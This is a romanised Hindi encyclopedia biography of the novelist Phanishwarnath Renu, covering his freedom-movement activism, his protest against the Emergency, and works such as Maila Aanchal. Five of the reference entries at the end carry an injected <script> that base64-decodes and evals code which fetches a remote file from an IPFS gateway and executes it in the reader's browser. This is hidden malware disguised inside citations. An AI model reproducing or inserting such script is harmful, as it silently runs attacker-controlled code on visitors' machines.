फणीश्वरनाथ रेणु
phanishvaranath renu
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| poora nam | phanishvaranath renu |
| any nam | renu |
| janm | 4 march, 1921 |
| janm bhoomi | poorniya zila, bihar |
| mrityu | 11 aprail, 1977 |
| abhibhavak | shilanath (pita) |
| karm bhoomi | bihar |
| karm-kshetr | upanyasakar, lekhak |
| mukhy rachanaean | maila aanchal (1954), parati parikatha (1957), jooloos (1965), kitane chaurahe (1966) adi. |
| vishay | kahani, upanyas, riportaj, sansmaran, rekhachitr |
| bhasha | hindi |
| vidyalay | kashi hindoo vishvavidyalay |
| shiksha | intaramidiet |
| puraskar-upadhi | padmashri |
| vishesh yogadan | 1942 ke 'bharat chho do aandolan' mean unhoanne sakriy roop se yogadan diya. |
| nagarikata | bharatiy |
| any janakari | ek svatantrata senani ke roop mean bhi apani pahachan banaee aur satta ke daman aur shoshan ke viruddh ajivan sangharsharat rahe. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
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phanishvaranath renu (aangrezi: Phanishwarnath 'Renu', janm: 4 march, 1921 - mrityu: 11 aprail, 1977) ek suprasiddh hindi sahityakar the. hindi katha sahity ke mahattvapoorn rachanakar phanishvaranath 'renu' ka janm 4 march 1921 ko bihar ke poorniya zila ke 'aurahi hiangana' gaanv mean hua tha. renu ke pita shilanath mandal sanpann vyakti the. bharat ke svadhinata sangharsh mean unhoanne bhag liya tha. renu ke pita kaangresi the. renu ka bachapan azadi ki l daee ko dekhate samajhate bita. renu ne svany likha hai - pitaji kisan the aur ilake ke svaraj-aandolan ke pramukh karyakarta. khadi pahanate the, ghar mean charakha chalata tha. svadhinata sangharsh ki chetana renu mean unake parivarik vatavaran se ayi thi. renu bhi bachapan aur kishoravastha mean hi desh ki azadi ki l daee se ju d ge the. 1930-31 ee. mean jab renu 'arariya haeeskool' ke chauthe darje mean padhate the tabhi mahatma gaandhi ki giraphtari ke bad arariya mean h datal huee, skool ke sare chhatr bhi h datal par rahe. renu ne apane skool ke asisteant hedamastar ko skool mean jane se roka. renu ko isaki saza mili lekin isake sath hi ve ilake ke bahadur suraji ke roop mean prasiddh ho ge.[1]
shiksha
renu ki praranbhik shiksha 'ph aaurabisaganj' tatha 'arariya' mean huee. renu ne prarambhik shiksha ke bad maitrik nepal ke 'viratanagar' ke 'viratanagar adarsh vidyalay' se koeerala parivar mean rahakar kiya. renu ne intaramidiet kashi hindoo vishvavidyalay se 1942 mean kiya aur usake bad vah svatantrata sangram mean kood p de. 1950 mean renu ne 'nepali kraantikari andolan' mean bhi bhag liya. left|thumb|upanyas 'parati parikatha'
- samajavad aur bihar soshalist parti
bad mean renu padhane ke lie banaras chale gaye. banaras mean renu ne 'studeant phedareshan' ke karyakarta ke roop mean bhi kary kiya. age chalakar renu samajavad se prabhavit hue. 1938 ee0 mean sonapur, bihar mean 'samar skool aauph p aaulitiks' mean renu shamil hue. is skool ke priansipal jayaprakash narayan the aur kamala devi chattopadhyay, minoo masani, achyut patavardhan, narendr dev, ashok mehata jaise logoan ne is skool mean shikshan kary kiya tha. isi skool mean bhag lene ke bad renu samajavad aur 'bihar soshalist parti' se ju d ge. samajavad ke prati rujhan paida karane vale logoan mean renu ramavriksh benipuri ka bhi nam lete haian.
rajaniti aur aandolan
ve sirf srijanatmak vyaktitv ke svami hi nahian balki ek sajag nagarik v deshabhakt bhi the. 1942 ke 'bharat chho do aandolan' mean unhoanne sakriy roop se yogadan diya. is prakar ek svatantrata senani ke roop mean unhoanne apani pahachan banaee. is chetana ka ve jivanaparyant palan karate rahe aur satta ke daman aur shoshan ke viruddh ajivan sangharsharat rahe. 1950 mean bihar ke p dosi desh nepal mean rajashahi daman badhane par ve nepal ki janata ko ranashahi ke daman aur atyacharoan se mukti dilane ke sankalp ke sath vahaan pahuanche aur vahaan ki janata dvara jo sashastr kraanti v rajaniti ki ja rahi thi, usamean sakriy yogadan diya.
daman aur shoshan ke viruddh ajivan sangharsharat rahe 'renu' ne sakriy rajaniti mean bhi hissedari ki. 1952-53 ke dauran ve bahut lambe samay tak bimar rahe. phalasvaroop ve sakriy rajaniti se hat ge. unaka jhukav sahity srijan ki or hua. 1954 mean unaka pahala upanyas 'maila aanchal' prakashit hua. maila aanchal upanyas ko itani khyati mili ki ratoan-rat unhean shirshasth hindi lekhakoan mean gina jane laga.
jivan ke saandhyakal mean rajanitik andolan se unaka punah gahara ju dav hua. 1975 mean lagoo apatakal ka je.pi. ke sath unhoanne bhi k da virodh kiya. satta ke damanachakr ke virodh svaroop unhoanne padmashri ki manad upadhi lauta di. unako n sirf apat sthiti ke virodh mean sakriy hissedari ke lie pulis yatana jhelani p di balki jel bhi jana p da. 23 march 1977 ko jab apat sthiti hati to unaka sangharsh saphal hua. parantu vo isake bad adhik dinoan tak jivit n rah pae. rog se grasit unaka sharir jarjar ho chuka tha.
lekhan kary
phanishvaranath renu ne 1936 ke asapas se kahani lekhan ki shuruat ki thi. us samay kuchh kahaniyaan prakashit bhi huee thian, kiantu ve kishor renu ki aparipakv kahaniyaan thi. 1942 ke aandolan mean giraftar hone ke bad jab ve 1944 mean jel se mukt hue, tab ghar lautane par unhoanne 'batababa' namak pahali paripakv kahani likhi. 'batababa' 'saptahik vishvamitr' ke 27 agast 1944 ke aank mean prakashit huee. renu ki doosari kahani 'pahalavan ki dholak' 11 disambar 1944 ko 'saptahik vishvamitr' mean chhpi. 1972 mean renu ne apani aantim kahani 'bhittichitr ki mayoori' likhi. unaki ab tak upalabdh kahaniyoan ki sankhya 63 hai. 'renu' ko jitani prasiddhi upanyasoan se mili, utani hi prasiddhi unako unaki kahaniyoan se bhi mili. 'thumari', 'aginakhor', 'adim ratri ki mahak', 'ek shravani dopahari ki dhoop', 'achchhe adami', 'sampoorn kahaniyaan', adi unake prasiddh kahani sangrah haian.
film 'tisari qasam'
thumb|film 'tisari qasam' ka postar unaki kahani 'mare ge gulafam' par adharit film 'tisari qasam' ne bhi unhean kafi prasiddhi dilavaee. is film mean rajakapoor aur vahida rahaman ne mukhy bhoomika mean abhinay kiya tha. 'tisari qasam' ko basu bhattachary ne nirdeshit kiya tha aur isake nirmata suprasiddh gitakar shailendr the. yah film hiandi sinema mean mil ka patthar mani jati hai. katha-sahity ke alava unhoanne sansmaran, rekhachitr aur riportaj adi vidhaoan mean bhi likha. unake kuchh sansmaran bhi kafi mashahoor hue. 'rrinajal dhanajal', 'van-tulasi ki gandh', 'shrut ashrut poorv', 'samay ki shila par', 'atm parichay' unake sansmaran haian. isake atirikt ve 'dinaman patrika' mean riportaj bhi likhate the. 'nepali kraanti katha' unake riportaj ka uttam udaharan hai.
- aanchalik katha
unhoanne hindi mean aanchalik katha ki nianv rakhi. sachchidanand hiranand vatsyayan ajney, ek samakalin kavi, unake param mitr the. inaki kee rachanaoan mean katihar ke relave steshan ka ullekh milata hai.
- lekhan shaili
inaki lekhan shaili varnanatmak thi jisamean patr ke pratyek manovaijnanik soch ka vivaran lubhavane tarike se kiya hota tha. patroan ka charitr-nirman kafi tezise hota tha kyoanki patr ek samany-saral manav man (prayah) ke atirikt aur kuchh nahian hota tha. inaki lagabhag har kahani mean patroan ki soch ghatanaoan se pradhan hoti thi. 'ek adim ratri ki mahak' isaka ek suandar udaharan hai. inaki lekhan-shaili premachand se kafi milati thi aur inhean azadi ke bad ka premachand ki sanjna bhi di jati hai. apani kritiyoan mean unhoanne aanchalik padoan ka bahut prayog kiya hai.
maila aanchal
thumb|left|upanyas 'maila aanchal' 'renu' ji ka 'maila aanchal' vastu aur shilp donoan staroan par sabase alag hai. isamean ek ne shilp mean gramin-jivan ko chitrit kiya gaya hai. isaki visheshata hai ki isaka nayak koee vyakti (purush ya mahila) nahian varanh poora ka poora aanchal hi isaka nayak hai. mithilaanchal ki prishthabhoomi par rache is upanyas mean us aanchal ki bhasha vishesh ka adhik se adhik prayog kiya gaya hai. yah prayog itana sarthak hai ki vah vahaan ke logoan ki ichchha-akaanksha, riti-rivaz, parv-tyauhar, soch-vichar, ko poori pramanikata ke sath pathak ke samane upasthit karata hai. isaki bhoomika, 9 agast 1954, ko likhate hue phanishvaranath 'renu' kahate haian, 'yah hai maila aanchal, ek aanchalik upanyas. is upanyas ke kendr mean hai bihar ka poorniya zila, jo kafi pichh da hai.' renu kahate haian,
isamean phool bhi hai, shool bhi, dhool bhi hai, gulab bhi, kich d bhi hai, chandan bhi, suandarata bhi hai, kuroopata bhi – maian kisi se daman bachakar nahian nikal paya.[2]
bhasha dvara chitran
unhoanne aanchal vishesh ki bhasha ka adhik se adhik prayog kiya taki us jan samuday ko zyada se zyada pramanikata se chitrit kiya ja sake. 'renu' ne apani anek rachanaoan mean aanchalik parivesh ke sauandary, usaki sajivata aur manaviy sanvedanaoan ko advitiy dhang se varnit kiya hai. drishyoan ko chitrit karane ke lie unhoanne git, lay-tal, vady, dhol, khanj di nrity, lokanatak jaise upakaranoan ka suandar prayog kiya hai. 'renu' ne mithak, lokavishvas, aandhavishvas, kianvadantiyaan, lokagit- in sabhi ko apani rachanaoan mean sthan diya hai. unhoanne 'maila aanchal' upanyas mean apane aanchal ka itana gahara v vyapak chitr khiancha hai ki sachamuch yah upanyas hindi mean aanchalik aupanyasik paranpara ki sarvashreshth kriti ban gaya hai. unaka sahity hiandi jati ke sauandary bodh ko samriddh karane ke sath-sath amanaviyata, paradhinata aur samrajyavad ka prativad bhi karata hai. vyakti aur kritikar donoan hi roopoan mean 'renu' apratim the.[3]
rachanaean
renu ki kul 26 pustakean haian. in pustakoan mean sankalit rachanaoan ke alava bhi kafi rachanaean haian jo sankalit nahian ho payian, kee aprakashit adhi adhoori rachanaean haian. asankalit patr pahali bar 'renu rachanavali' mean shamil kiye gaye haian.
sahityik kritiyaan
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samman aur puraskar
[[chitr:Phanishwarnath-renu-ramdhari-singh-dinkar.jpg|thumb|phanishvaranath renu (sabase baean) ke sath ramadhari sianh 'dinakar' (bolate hue)]] apane pratham upanyas maila aanchal ke liye unhean padmashri se sammanit kiya gaya.
nidhan
renu sarakari daman aur shoshan ke viruddh gramin janata ke sath pradarshan karate hue jel gaye. renu ne apatakal ka virodh karate hue apana 'padmashri' ka samman bhi lauta diya. isi samay renu ne patana mean 'lokatantr rakshi sahity manch' ki sthapana ki. is samay tak renu ko 'paiptik alsar' ki ganbhir bimari ho gayi thi. lekin is bimari ke bad bhi renu ne 1977 ee. mean navagathit janata parti ke lie chunav mean kafi kam kiya. 11 aprail 1977 ee. ko renu usi 'paiptik alsar' ki bimari ke karan chal base.[9]
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tika tippani aur sandarbh
- ↑ phanishvaranath renu:ek parichay (hiandi). . abhigaman tithi: 13 janavari, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ pustak parichay-15 : “maila aanchal” (hiandi). . abhigaman tithi: 13 janavari, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ phanishvaranath renu (hiandi). . abhigaman tithi: 13 janavari, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ (yah upanyas 'jyotsana' ke aankoan se nikalakar anupam prakashan ne prakashit kiya)
- ↑ mrityu ke bad prakashit
- ↑ mrityu ke bad prakashit
- ↑ 'mare gaye gulapham' kahani par prasiddh gitakar shaileandr ne film 'tisari kasam' ka nirman kiya jisamean rajakapoor aur vahida rahaman ne abhinay kiya.
- ↑ yayavar, bharat “bhag-1”, renu rachanavali, pratham sanskaran (hiandi), bharat diskavari pustakalay: rajakamal prakashan, 11.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ phanishvaranath renu:ek parichay (hiandi). . abhigaman tithi: 13 janavari, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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